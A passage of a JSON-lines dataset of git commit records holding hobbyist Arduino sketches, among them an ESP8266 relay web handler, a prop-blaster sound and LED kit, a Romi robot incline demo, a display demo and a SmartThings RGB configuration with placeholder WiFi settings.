state = 1;\n relay = 9;\n }\n\n\/\/# ESP8266 GPIO 14 = pin 17\n else if (req.indexOf(\"\/gpio\/11\/1\") != -1)\n {\n pin= 14; \n state = 0;\n relay = 11;\n }\n else if (req.indexOf(\"\/gpio\/11\/0\") != -1)\n {\n pin = 14;\n state = 1;\n relay = 11;\n }\n\n\n\/\/# ESP8266 GOPIO 3 = pin 4\n else if (req.indexOf(\"\/gpio\/13\/1\") != -1)\n {\n pin= 3; \n state = 0;\n relay = 13;\n }\n else if (req.indexOf(\"\/gpio\/13\/0\") != -1)\n {\n pin = 3;\n state = 1;\n relay = 13;\n }\n\n\/\/# ESP8266 GPIO 16 = pin 15\n else if (req.indexOf(\"\/gpio\/15\/1\") != -1)\n\n {\n pin= 16; \n state = 0;\n relay = 15;\n \n } else if (req.indexOf(\"\/gpio\/15\/0\") != -1)\n \n {\n pin = 16;\n state = 1;\n relay = 15;\n \n\n} else {\n client.println(\"invalid request\");\n client.stop();\n return;\n }\n\n\n digitalWrite(pin, state);\n Serial.print(\"pin: \");\n Serial.println(pin);\n Serial.print(\"state: \");\n Serial.println(state);\n \n client.flush();\n\nif (state == 0 ) {\n pwr_state = \"on\";\n} else {\n pwr_state = \"off\";\n} \n \/\/ Prepare the response\n String s = \"HTTP\/1.1 200 OK\\r\\nContent-Type: text\/html\\r\\n\\r\\nRELAY: \";\n s += (relay);\n s += (\"\\nSTATE\\: \" );\n s += pwr_state;\n s += \"\\n\";\n\n \/\/ Send the response to the client\n client.print(s);\n delay(1);\n Serial.println(\"Client disonnected\");\n\n \/\/ The client will actually be disconnected \n \/\/ when the function returns and 'client' object is detroyed\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'relay_head_2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc29f94c3dcee74f83161d88fad6500325073aa8","subject":"Create crybaby_ver1.0.ino","message":"Create crybaby_ver1.0.ino","repos":"outcry27\/crybabyFX","old_file":"crybaby_ver1.0.ino","new_file":"crybaby_ver1.0.ino","new_contents":"\/*\nCryBaby FX Kit v1.0, written by Sean Maio (outcry27@gmail.com)\nDesigned for use with the Adafruit Pro Trinket and Adafruit audio FX board\n\nCredit and many thanks to the writers of the numerous tutorials available on both the Arduino\nand Adafruit websites, without which this project could never have been completed!\n\n-Pin Map-\n Pro Trinket:\n 0. Serial RX, connect to Audio FX Serial TX\n 1. Serial TX, connect to Audio FX Serial RX\n 3. Fire Switch -> GND\n 4. Safety toggle switch -> GND\n 9. Muzzle LED, connect this to the GATE pin on the muzzle strobe MOSFET\n \n Audio FX board:\n TX. Connect to Trinket Pin 2 (labeled RX)\n RX. Connect to Trinket Pin 1 (labeled TX)\n UG. Jumper to GND to enable UART mode. \n \n !-- DEPRECATED: the following have been replaced by Serial triggering --!\n 0. Firing sound\n 1. Firing \"tail\"\n 2. \"Click\" sound (out of ammo\/safety on)\n 3. \"Boot-up\" sound\n 4. Music clip 1 (wired to a physical switch)\n 5. Music clip 2 (wired to a physical switch)\n \n*\/\n\n#include <Wire.h>\n#include <SoftwareSerial.h>\n#include \"Adafruit_Soundboard.h\"\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n\n\/\/ pins used for Serial communication with the audio board\n#define SFX_TX 1\n#define SFX_RX 0\n\nSoftwareSerial ss = SoftwareSerial(SFX_TX, SFX_RX);\nAdafruit_Soundboard sfx = Adafruit_Soundboard(&ss, NULL, NULL);\nAdafruit_AlphaNum4 alpha4 = Adafruit_AlphaNum4();\n\n\/\/ constants:\nconst int triggerPin = 3; \/\/ the number of the firing trigger pin\nconst int safetyPin = 4; \/\/ pin for the \"safety\" toggle\nconst int fireSoundPin = 6; \/\/ pin for the firing sound\nconst int muzzlePin = 9; \/\/ the number of the LED pin\nconst int startSoundPin = 10; \/\/ pin for the \"boot-up\" sound\nconst int clickSoundPin = 11; \/\/ pin for the bolt \"click\" sound\nconst int fireTailSoundPin = 12; \/\/ pin for the firing \"tail\" sound\nconst int fireDelay = 50; \/\/ duration in milliseconds for each \"shot\"\n\n\/\/ variables:\nboolean safetyOn = false;\nint triggerState = 0; \/\/ variable for reading the trigger status\nint safetyState = 0; \/\/ variable for reading the safety switch status\nint lastTriggerState = 0; \/\/ previous state of the trigger\nint lastSafetyState = 0; \/\/ previous state of the safety switch\nint ammoCount = 299;\nString ammoDisp = String(ammoCount);\n\nvoid setup() {\n \/\/ initialize the LED pin as an output:\n pinMode(muzzlePin, OUTPUT);\n \/\/ initialize the trigger and safety pins as input:\n pinMode(triggerPin, INPUT);\n pinMode(safetyPin, INPUT);\n \/\/ initialize the audio pins\n pinMode(startSoundPin, INPUT);\n pinMode(clickSoundPin, INPUT);\n pinMode(fireTailSoundPin, INPUT);\n pinMode(fireSoundPin, INPUT);\n pinMode(triggerPin, INPUT);\n pinMode(safetyPin, INPUT);\n\n \/\/ set up the audio trigger pins to give a path to GND when set to OUTPUT\n digitalWrite(muzzlePin, LOW);\n digitalWrite(triggerPin, HIGH);\n digitalWrite(safetyPin, HIGH);\n digitalWrite(startSoundPin, LOW);\n digitalWrite(clickSoundPin, LOW);\n digitalWrite(fireTailSoundPin, LOW);\n digitalWrite(fireSoundPin, LOW);\n\n Serial.begin(9600);\n ss.begin(9600);\n alpha4.begin(0x70); \/\/ pass in the address\n\n delay(200); \/\/give the audio board time to power up; otherwise bootup sound will be called before audio board is ready\n\n Serial.print(\"#0\\n\");\n\n alpha4.writeDigitAscii(0, '0');\n alpha4.writeDigitAscii(1, '2');\n alpha4.writeDigitAscii(2, '9');\n alpha4.writeDigitAscii(3, '9');\n alpha4.writeDisplay();\n delay(500);\n \n for (int x = 4; x > 0; x--) {\n updateAmmoCounter();\n ammoCount--;\n delay(50); \n }\n updateAmmoCounter();\n}\n\n\/\/ this function calls the current value of ammoCount and writes it to the LED display\nvoid updateAmmoCounter() { \n String ammoDisp = String(ammoCount);\n if (ammoCount < 10) {\n alpha4.writeDigitAscii(0, '0');\n alpha4.writeDigitAscii(1, '0');\n alpha4.writeDigitAscii(2, '0');\n alpha4.writeDigitAscii(3, ammoDisp[0]);\n }\n else if (ammoCount < 100) {\n alpha4.writeDigitAscii(0, '0');\n alpha4.writeDigitAscii(1, '0');\n alpha4.writeDigitAscii(2, ammoDisp[0]);\n alpha4.writeDigitAscii(3, ammoDisp[1]);\n }\n else if (ammoCount < 1000) {\n alpha4.writeDigitAscii(0, '0');\n alpha4.writeDigitAscii(1, ammoDisp[0]);\n alpha4.writeDigitAscii(2, ammoDisp[1]);\n alpha4.writeDigitAscii(3, ammoDisp[2]);\n }\n else if (ammoCount < 10000) {\n alpha4.writeDigitAscii(0, ammoDisp[0]);\n alpha4.writeDigitAscii(1, ammoDisp[1]);\n alpha4.writeDigitAscii(1, ammoDisp[2]);\n alpha4.writeDigitAscii(1, ammoDisp[3]);\n }\n alpha4.writeDisplay();\n}\n\nvoid setSafe() {\n safetyOn = true;\n alpha4.clear();\n alpha4.writeDisplay();\n delay(50);\n alpha4.writeDigitAscii(0, 'S');\n alpha4.writeDigitAscii(1, 'A');\n alpha4.writeDigitAscii(2, 'F');\n alpha4.writeDigitAscii(3, 'E'); \n alpha4.writeDisplay();\n delay(50);\n alpha4.clear(); \n alpha4.writeDisplay();\n delay(50);\n alpha4.writeDigitAscii(0, 'S');\n alpha4.writeDigitAscii(1, 'A');\n alpha4.writeDigitAscii(2, 'F');\n alpha4.writeDigitAscii(3, 'E'); \n alpha4.writeDisplay();\n}\n\nvoid setArm() {\n safetyOn = false;\n alpha4.writeDigitAscii(0, ' ');\n alpha4.writeDigitAscii(1, 'A');\n alpha4.writeDigitAscii(2, 'R');\n alpha4.writeDigitAscii(3, 'M'); \n alpha4.writeDisplay();\n delay(50);\n alpha4.clear(); \n alpha4.writeDisplay();\n delay(50);\n alpha4.writeDigitAscii(0, ' ');\n alpha4.writeDigitAscii(1, 'A');\n alpha4.writeDigitAscii(2, 'R');\n alpha4.writeDigitAscii(3, 'M'); \n alpha4.writeDisplay();\n delay(50);\n alpha4.clear(); \n alpha4.writeDisplay();\n delay(50);\n alpha4.writeDigitAscii(0, ' ');\n alpha4.writeDigitAscii(1, 'A');\n alpha4.writeDigitAscii(2, 'R');\n alpha4.writeDigitAscii(3, 'M'); \n alpha4.writeDisplay();\n delay(50);\n alpha4.clear(); \n alpha4.writeDisplay();\n delay(50);\n alpha4.writeDigitAscii(0, ' ');\n alpha4.writeDigitAscii(1, 'A');\n alpha4.writeDigitAscii(2, 'R');\n alpha4.writeDigitAscii(3, 'M'); \n alpha4.writeDisplay();\n delay(300);\n updateAmmoCounter();\n}\n\n\/\/this needs to be fixed... commented out for now\n\/*void playSound(int s);\nvoid playSound(char *name) {\n pinMode(s, OUTPUT);\n delay(100); \n pinMode(s, INPUT);\n \/\/Serial.print(\"P\"name\"\\n\"); \n}*\/\n\n\/\/ --MAIN LOOP STARTS HERE--\nvoid loop() {\n safetyState = digitalRead(safetyPin);\n if (safetyState != lastSafetyState) {\n if (safetyState == LOW) {\n if (safetyOn == false) {\n setSafe();\n }\n else if (safetyOn == true) {\n setArm(); \n }\n }\n }\n triggerState = digitalRead(triggerPin);\n if (triggerState != lastTriggerState) {\n if (triggerState == HIGH) {\n \/\/ turn muzzle strobe off:\n digitalWrite(muzzlePin, LOW);\n }\n \n while (triggerState == LOW) {\n if (safetyOn == true) {\n \/\/playSound(clickSoundPin);\n Serial.print(\"#2\\n\");\n triggerState = digitalRead(triggerPin);\n return;\n }\n if (ammoCount <= 0) {\n \/\/playSound(clickSoundPin);\n triggerState = digitalRead(triggerPin);\n return;\n }\n if (safetyOn == false) {\n if (ammoCount > 0) {\n \/\/ turn muzzle strobe on:\n \/\/pinMode(fireSoundPin, OUTPUT);\n Serial.print(\"#3\\n\");\n digitalWrite(muzzlePin, HIGH);\n ammoCount--;\n \n \/\/ update the ammo counter\n updateAmmoCounter();\n \n \/\/ cleanup (TAIL SOUND IS CURRENTLY COMMENTED OUT)\n delay(10);\n digitalWrite(muzzlePin, LOW);\n delay(39);\n triggerState = digitalRead(triggerPin);\n if (triggerState == HIGH) {\n \/\/ turn muzzle strobe off:\n digitalWrite(muzzlePin, LOW);\n \/\/pinMode(fireSoundPin, INPUT);\n Serial.print(\"q\\n\");\n \/\/delay(10);\n \/\/playSound(fireTailSoundPin);\n \/\/Serial.print(\"#1\\n\");\n \/\/delay(400);\n }\n if (ammoCount == 0){\n digitalWrite(muzzlePin, LOW);\n pinMode(fireSoundPin, INPUT);\n \/\/playSound(clickSoundPin);\n Serial.print(\"q\\n\");\n delay(10);\n Serial.print(\"#2\\n\"); \n }\n }\n }\n else {\n return;\n }\n }\n lastTriggerState = triggerState;\n }\n lastSafetyState = safetyState; \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'crybaby_ver1.0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b4b17300efe81c8a63f3bb0c5d2a067b7676a859","subject":"Adding encoder test code","message":"Adding encoder test code\n","repos":"simplyellow\/auto-sumo","old_file":"Kirbi\/testing\/encodersorsomething\/encodersorsomething.ino","new_file":"Kirbi\/testing\/encodersorsomething\/encodersorsomething.ino","new_contents":"\nint counter = 0;\n\n#define outputA 4\n\nvoid encoderISR() {\n counter++;\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(outputA, INPUT);\n attachInterrupt(outputA, encoderISR, RISING);\n Serial.begin(115200);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n Serial.println(counter);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Kirbi\/testing\/encodersorsomething\/encodersorsomething.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd5f8152c0af32b99222c4661a473747e67e8c0f","subject":"Ported the FaceUphill example from the Zumo32U4 library.","message":"Ported the FaceUphill example from the Zumo32U4 library.\n","repos":"pololu\/romi-32u4-arduino-library,pololu\/romi-32u4-arduino-library,pololu\/romi-32u4-arduino-library","old_file":"examples\/FaceUphill\/FaceUphill.ino","new_file":"examples\/FaceUphill\/FaceUphill.ino","new_contents":"\/\/ This demo uses the Romi 32U4's accelerometer to detect whether\r\n\/\/ it is on a slanted surface. If it is on a slanted surface,\r\n\/\/ then it uses the motors to face uphill.\r\n\/\/\r\n\/\/ It also uses the encoders to avoid rolling down the surface.\r\n\/\/\r\n\/\/ Please note that this example is not very robust and it might\r\n\/\/ be hard to modify it to behave differently. The accelerometer\r\n\/\/ readings are affected by the movement of the Romi, so if you\r\n\/\/ change the code for controlling the motors, you might also affect\r\n\/\/ the accelerometer readings.\r\n\/\/\r\n\/\/ Also, if the robot is pointing directly downhill, it might not\r\n\/\/ move, because the y component of the acceleration would be\r\n\/\/ close to 0.\r\n\/\/\r\n\/\/ To run this sketch, you will need to install the LSM6 library:\r\n\/\/\r\n\/\/ https:\/\/github.com\/pololu\/lsm6-arduino\r\n\r\n#include <Wire.h>\r\n#include <Romi32U4.h>\r\n#include <LSM6.h>\r\n\r\nconst int16_t maxSpeed = 150;\r\n\r\nLSM6 lsm6;\r\nRomi32U4Motors motors;\r\nRomi32U4LCD lcd;\r\nRomi32U4ButtonA buttonA;\r\nRomi32U4Encoders encoders;\r\n\r\nvoid setup()\r\n{\r\n \/\/ Start I2C and initialize the LSM6 accelerometer\/gyro.\r\n Wire.begin();\r\n lsm6.init();\r\n lsm6.enableDefault();\r\n\r\n lcd.clear();\r\n lcd.print(F(\"Press A\"));\r\n buttonA.waitForPress();\r\n lcd.clear();\r\n}\r\n\r\nvoid loop()\r\n{\r\n \/\/ Read the acceleration from the LSM303.\r\n \/\/ A value of 16393 corresponds to approximately 1 g.\r\n lsm6.read();\r\n int16_t x = lsm6.a.x;\r\n int16_t y = lsm6.a.y;\r\n int32_t magnitudeSquared = (int32_t)x * x + (int32_t)y * y;\r\n\r\n \/\/ Display the X and Y acceleration values on the LCD\r\n \/\/ every 150 ms.\r\n static uint8_t lastDisplayTime;\r\n if ((uint8_t)(millis() - lastDisplayTime) > 150)\r\n {\r\n lastDisplayTime = millis();\r\n lcd.gotoXY(0, 0);\r\n lcd.print(x);\r\n lcd.print(F(\" \"));\r\n lcd.gotoXY(0, 1);\r\n lcd.print(y);\r\n lcd.print(F(\" \"));\r\n }\r\n\r\n \/\/ Use the encoders to see how much we should drive forward.\r\n \/\/ If the robot rolls downhill, the encoder counts will become\r\n \/\/ negative, resulting in a positive forwardSpeed to counteract\r\n \/\/ the rolling.\r\n int16_t forwardSpeed = -(encoders.getCountsLeft() + encoders.getCountsRight());\r\n forwardSpeed = constrain(forwardSpeed, -maxSpeed, maxSpeed);\r\n\r\n \/\/ See if we are actually on an incline.\r\n \/\/ 16393 * sin(5 deg) = 1428\r\n int16_t turnSpeed;\r\n if (magnitudeSquared > (int32_t)1428 * 1428)\r\n {\r\n \/\/ We are on an incline of more than 5 degrees, so\r\n \/\/ try to face uphill using a feedback algorithm.\r\n turnSpeed = y \/ 16;\r\n ledYellow(1);\r\n }\r\n else\r\n {\r\n \/\/ We not on a noticeable incline, so don't turn.\r\n turnSpeed = 0;\r\n ledYellow(0);\r\n }\r\n\r\n \/\/ To face uphill, we need to turn so that the X acceleration\r\n \/\/ is negative and the Y acceleration is 0. Therefore, when\r\n \/\/ the Y acceleration is positive, we want to turn to the\r\n \/\/ left (counter-clockwise).\r\n int16_t leftSpeed = forwardSpeed - turnSpeed;\r\n int16_t rightSpeed = forwardSpeed + turnSpeed;\r\n\r\n \/\/ Constrain the speeds to be between -maxSpeed and maxSpeed.\r\n leftSpeed = constrain(leftSpeed, -maxSpeed, maxSpeed);\r\n rightSpeed = constrain(rightSpeed, -maxSpeed, maxSpeed);\r\n\r\n motors.setSpeeds(leftSpeed, rightSpeed);\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/FaceUphill\/FaceUphill.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a5e894eed6665db69276af130ce90de137b3f280","subject":"Clean Display","message":"Clean Display\n","repos":"roboter\/Lunohod","old_file":"DisplayClean\/DisplayClean.ino","new_file":"DisplayClean\/DisplayClean.ino","new_contents":"\/\/ UTFT_Demo_400x240 (C)2014 Henning Karlsen\n\/\/ web: http:\/\/www.henningkarlsen.com\/electronics\n\/\/\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with a supported display modules.\n\/\/\n\/\/ This demo was made for modules with a screen resolution \n\/\/ of 400x240 pixels.\n\/\/\n\/\/ This program requires the UTFT library.\n\/\/\n\n#include <UTFT.h>\n\n\/\/ Declare which fonts we will be using\nextern uint8_t SmallFont[];\n\n\/\/ Set the pins to the correct ones for your development shield\n\/\/ ------------------------------------------------------------\n\/\/ Arduino Uno \/ 2009:\n\/\/ -------------------\n\/\/ Standard Arduino Uno\/2009 shield : <display model>,A5,A4,A3,A2\n\/\/ DisplayModule Arduino Uno TFT shield : <display model>,A5,A4,A3,A2\n\/\/\n\/\/ Arduino Mega:\n\/\/ -------------------\n\/\/ Standard Arduino Mega\/Due shield : <display model>,38,39,40,41\n\/\/ CTE TFT LCD\/SD Shield for Arduino Mega : <display model>,38,39,40,41\n\/\/\n\/\/ Remember to change the model parameter to suit your display module!\nUTFT myGLCD(ITDB32WC,38,39,40,41);\n\nvoid setup()\n{\n randomSeed(analogRead(0));\n \n\/\/ Setup the LCD\n myGLCD.InitLCD();\n myGLCD.setFont(SmallFont);\n}\n\nvoid loop()\n{\n int buf[398];\n int x, x2;\n int y, y2;\n int r;\n\n\/\/ Clear the screen and draw the frame\n myGLCD.clrScr();\n\n myGLCD.setColor(255, 0, 0);\n myGLCD.fillRect(0, 0, 399, 13);\n myGLCD.setColor(64, 64, 64);\n\/\/ myGLCD.fillRect(0, 226, 399, 239);\n\/\/ myGLCD.setColor(255, 255, 255);\n\/\/ myGLCD.setBackColor(255, 0, 0);\n myGLCD.print(\"*** Universal Color TFT Display Library ***\", LEFT,1 );\n myGLCD.print(\"test\", LEFT, 12);\n \n \n delay (10000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DisplayClean\/DisplayClean.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7cc0e6a9709ac4e28f607499f30ac60004b907d0","subject":"Create ST_Anything_RGB_ESP32WiFi.ino","message":"Create ST_Anything_RGB_ESP32WiFi.ino\n\nExample file for RGB","repos":"vseven\/SmartThings_VSeven","old_file":"Modified_ST_Anything_Libraries\/ST_Anything_RGB_ESP32WiFi.ino","new_file":"Modified_ST_Anything_Libraries\/ST_Anything_RGB_ESP32WiFi.ino","new_contents":"\/\/******************************************************************************************\n\/\/ File: ST_Anything_RGB_ESP32WiFi.ino\n\/\/ Authors: Dan G Ogorchock & Daniel J Ogorchock (Father and Son)\n\/\/\n\/\/ Summary: This Arduino Sketch, along with the ST_Anything library and the revised SmartThings \n\/\/ library, demonstrates the ability of one ESP32 to implement \n\/\/ a multi input\/output custom device for integration into SmartThings.\n\/\/ The ST_Anything library takes care of all of the work to schedule device updates\n\/\/ as well as all communications with the ESP32's WiFi.\n\/\/\n\/\/ ST_Anything_RGB implements the following ST Capabilities as a demo of what is possible with a single ESP32\n\/\/ - 1 x RGB LED (used to set the color of a RGB LED)\n\/\/ - 1 x RGB Strip (used to set the color of RGB LED strips)\n\/\/ - 1 x RGBW Strip (used to set the color of RGBW LED strips) - NOT YET IMPLIMENTED\n\/\/\n\/\/ \n\/\/ Change History:\n\/\/\n\/\/ Date Who What\n\/\/ ---- --- ----\n\/\/ 2017-08-14 Dan Ogorchock Original Creation - Adapted from ESP8266 to work with ESP32 board\n\/\/ 2017-10-06 Allan (vseven) Modified for RGB examples\n\/\/\n\/\/ Special thanks to Joshua Spain for his contributions in porting ST_Anything to the ESP32!\n\/\/\n\/\/******************************************************************************************\n\/\/******************************************************************************************\n\/\/ SmartThings Library for ESP32WiFi\n\/\/******************************************************************************************\n#include <SmartThingsESP32WiFi.h>\n\n\/\/******************************************************************************************\n\/\/ ST_Anything Library \n\/\/******************************************************************************************\n#include <Constants.h> \/\/Constants.h is designed to be modified by the end user to adjust behavior of the ST_Anything library\n#include <Device.h> \/\/Generic Device Class, inherited by Sensor and Executor classes\n#include <Sensor.h> \/\/Generic Sensor Class, typically provides data to ST Cloud (e.g. Temperature, Motion, etc...)\n#include <Executor.h> \/\/Generic Executor Class, typically receives data from ST Cloud (e.g. Switch)\n#include <InterruptSensor.h> \/\/Generic Interrupt \"Sensor\" Class, waits for change of state on digital input \n#include <PollingSensor.h> \/\/Generic Polling \"Sensor\" Class, polls Arduino pins periodically\n#include <Everything.h> \/\/Master Brain of ST_Anything library that ties everything together and performs ST Shield communications\n\n#include <EX_RGB_Dim.h> \/\/Implements an Executor (EX) for a RGB LED or strip with PWM using 3 digital output pins\n\n\/\/****************************************************************************************************************************\n\/\/NodeMCU-32s ESP32 Pin Definitions (just for reference from ..hardware\\espressif\\esp32\\variants\\nodemcu-32s\\pins_arduino.h)\n\/\/****************************************************************************************************************************\n\/\/#define LED_BUILTIN 2\n\/\/#define BUILTIN_LED 2\n\/\/\n\/\/#define A0 = 36;\n\/\/#define A3 = 39;\n\/\/#define A4 = 32;\n\/\/#define A5 = 33;\n\/\/#define A6 = 34;\n\/\/#define A7 = 35;\n\/\/#define A10 = 4;\n\/\/#define A11 = 0;\n\/\/#define A12 = 2;\n\/\/#define A13 = 15;\n\/\/#define A14 = 13;\n\/\/#define A15 = 12;\n\/\/#define A16 = 14;\n\/\/#define A17 = 27;\n\/\/#define A18 = 25;\n\/\/#define A19 = 26;\n\n\/\/******************************************************************************************\n\/\/Define which Arduino Pins will be used for each device\n\/\/******************************************************************************************\n\/\/\"RESERVED\" pins for ESP32 - best to avoid\n#define PIN_0_RESERVED 0 \/\/reserved ESP32 boot\/program upload\n#define PIN_1_RESERVED 1 \/\/reserved ESP32 for TX0\n#define PIN_3_RESERVED 3 \/\/reserved ESP32 for RX0\n#define PIN_6_RESERVED 6 \/\/reserved ESP32 for flash\n#define PIN_7_RESERVED 7 \/\/reserved ESP32 for flash\n#define PIN_8_RESERVED 8 \/\/reserved ESP32 for flash\n#define PIN_9_RESERVED 9 \/\/reserved ESP32 for flash\n#define PIN_10_RESERVED 10 \/\/reserved ESP32 for flash\n#define PIN_11_RESERVED 11 \/\/reserved ESP32 for flash\n\n\/\/Analog Pins\n\n\/\/Digital Pins\n#define PIN_RGB1_Red A0 \/\/(GPIO 36) SmartThings Capability \"Color Control\"\n#define PIN_RGB1_Green A3 \/\/(GPIO 39) SmartThings Capability \"Color Control\"\n#define PIN_RGB1_Blue A6 \/\/(GPIO 34) SmartThings Capability \"Color Control\"\n#define PIN_RGB2_Red A4 \/\/(GPIO 32) SmartThings Capability \"Color Control\"\n#define PIN_RGB2_Green A5 \/\/(GPIO 33) SmartThings Capability \"Color Control\"\n#define PIN_RGB2_Blue A18 \/\/(GPIO 25) SmartThings Capability \"Color Control\"\n\n\/\/******************************************************************************************\n\/\/ESP832 WiFi Information\n\/\/******************************************************************************************\nString str_ssid = \"yourSSIDhere\"; \/\/ <---You must edit this line!\nString str_password = \"yourWiFiPasswordhere\"; \/\/ <---You must edit this line!\nIPAddress ip(192, 168, 1, 227); \/\/Device IP Address \/\/ <---You must edit this line!\nIPAddress gateway(192, 168, 1, 1); \/\/Router gateway \/\/ <---You must edit this line!\nIPAddress subnet(255, 255, 255, 0); \/\/LAN subnet mask \/\/ <---You must edit this line!\nIPAddress dnsserver(192, 168, 1, 1); \/\/DNS server \/\/ <---You must edit this line!\nconst unsigned int serverPort = 8090; \/\/ port to run the http server on\n\n\/\/ Smartthings Hub Information\nIPAddress hubIp(192, 168, 1, 149); \/\/ smartthings hub ip \/\/ <---You must edit this line!\nconst unsigned int hubPort = 39500; \/\/ smartthings hub port\n\n\/\/******************************************************************************************\n\/\/st::Everything::callOnMsgSend() optional callback routine. This is a sniffer to monitor \n\/\/ data being sent to ST. This allows a user to act on data changes locally within the \n\/\/ Arduino sktech.\n\/\/******************************************************************************************\nvoid callback(const String &msg)\n{\n\/\/ Serial.print(F(\"ST_Anything Callback: Sniffed data = \"));\n\/\/ Serial.println(msg);\n \n \/\/TODO: Add local logic here to take action when a device's value\/state is changed\n \n \/\/Masquerade as the ThingShield to send data to the Arduino, as if from the ST Cloud (uncomment and edit following line)\n \/\/st::receiveSmartString(\"Put your command here!\"); \/\/use same strings that the Device Handler would send\n}\n\n\/\/******************************************************************************************\n\/\/Arduino Setup() routine\n\/\/******************************************************************************************\nvoid setup()\n{\n \/\/******************************************************************************************\n \/\/Declare each Device that is attached to the Arduino\n \/\/ Notes: - For each device, there is typically a corresponding \"tile\" defined in your \n \/\/ SmartThings Device Hanlder Groovy code, except when using new COMPOSITE Device Handler\n \/\/ - For details on each device's constructor arguments below, please refer to the \n \/\/ corresponding header (.h) and program (.cpp) files.\n \/\/ - The name assigned to each device (1st argument below) must match the Groovy\n \/\/ Device Handler names. (Note: \"temphumid\" below is the exception to this rule\n \/\/ as the DHT sensors produce both \"temperature\" and \"humidity\". Data from that\n \/\/ particular sensor is sent to the ST Hub in two separate updates, one for \n \/\/ \"temperature\" and one for \"humidity\")\n \/\/ - The new Composite Device Handler is comprised of a Parent DH and various Child\n \/\/ DH's. The names used below MUST not be changed for the Automatic Creation of\n \/\/ child devices to work properly. Simply increment the number by +1 for each duplicate\n \/\/ device (e.g. contact1, contact2, contact3, etc...) You can rename the Child Devices\n \/\/ to match your specific use case in the ST Phone Application.\n \/\/******************************************************************************************\n \/\/Polling Sensors\n \n \/\/Interrupt Sensors \n \n \/\/Special sensors\/executors (uses portions of both polling and executor classes)\n \n \/\/Executors\n static st::EX_RGB_Dim executor1(F(\"RGBLED1\"), PIN_RGB1_Red, PIN_RGB1_Green, PIN_RGB1_Blue, true, 0, 1, 2);\n static st::EX_RGB_Dim executor2(F(\"RGBLED2\"), PIN_RGB2_Red, PIN_RGB2_Green, PIN_RGB2_Blue, true, 3, 4, 5);\n \n \/\/*****************************************************************************\n \/\/ Configure debug print output from each main class \n \/\/ -Note: Set these to \"false\" if using Hardware Serial on pins 0 & 1\n \/\/ to prevent communication conflicts with the ST Shield communications\n \/\/*****************************************************************************\n st::Everything::debug=true;\n st::Executor::debug=true;\n st::Device::debug=true;\n st::PollingSensor::debug=true;\n st::InterruptSensor::debug=true;\n\n \/\/*****************************************************************************\n \/\/Initialize the \"Everything\" Class\n \/\/*****************************************************************************\n\n \/\/Initialize the optional local callback routine (safe to comment out if not desired)\n st::Everything::callOnMsgSend = callback;\n \n \/\/Create the SmartThings ESP32WiFi Communications Object\n \/\/STATIC IP Assignment - Recommended\n st::Everything::SmartThing = new st::SmartThingsESP32WiFi(str_ssid, str_password, ip, gateway, subnet, dnsserver, serverPort, hubIp, hubPort, st::receiveSmartString);\n \n \/\/DHCP IP Assigment - Must set your router's DHCP server to provice a static IP address for this device's MAC address\n \/\/st::Everything::SmartThing = new st::SmartThingsESP32WiFi(str_ssid, str_password, serverPort, hubIp, hubPort, st::receiveSmartString);\n\n \/\/Run the Everything class' init() routine which establishes WiFi communications with SmartThings Hub\n st::Everything::init();\n \n \/\/*****************************************************************************\n \/\/Add each sensor to the \"Everything\" Class\n \/\/*****************************************************************************\n \n \/\/*****************************************************************************\n \/\/Add each executor to the \"Everything\" Class\n \/\/*****************************************************************************\n st::Everything::addExecutor(&executor1);\n st::Everything::addExecutor(&executor2);\n \n \/\/*****************************************************************************\n \/\/Initialize each of the devices which were added to the Everything Class\n \/\/*****************************************************************************\n st::Everything::initDevices();\n \n}\n\n\/\/******************************************************************************************\n\/\/Arduino Loop() routine\n\/\/******************************************************************************************\nvoid loop()\n{\n \/\/*****************************************************************************\n \/\/Execute the Everything run method which takes care of \"Everything\"\n \/\/*****************************************************************************\n st::Everything::run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modified_ST_Anything_Libraries\/ST_Anything_RGB_ESP32WiFi.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c7c924dabad0e051ef85004ad379b88247e4eb1f","subject":"arduino write to serial","message":"arduino write to serial\n","repos":"rliu42\/conductor-hero,rliu42\/conductor-hero,rliu42\/conductor-hero","old_file":"arduino\/arduino.ino","new_file":"arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rliu42\/conductor-hero.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"eda3d613616c787052dd4e7491246a0923030427","subject":"fix semicolon lol","message":"fix semicolon lol\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"29e4caab4f635daa4a252ab6ff9b6611c7a8cc99","subject":"containerleds working","message":"containerleds working\n","repos":"Somnitec\/symbioticautonomousmachine,Somnitec\/symbioticautonomousmachine,Somnitec\/symbioticautonomousmachine","old_file":"SAM arduino code\/minimal_SAM\/minimal_SAM.ino","new_file":"SAM arduino 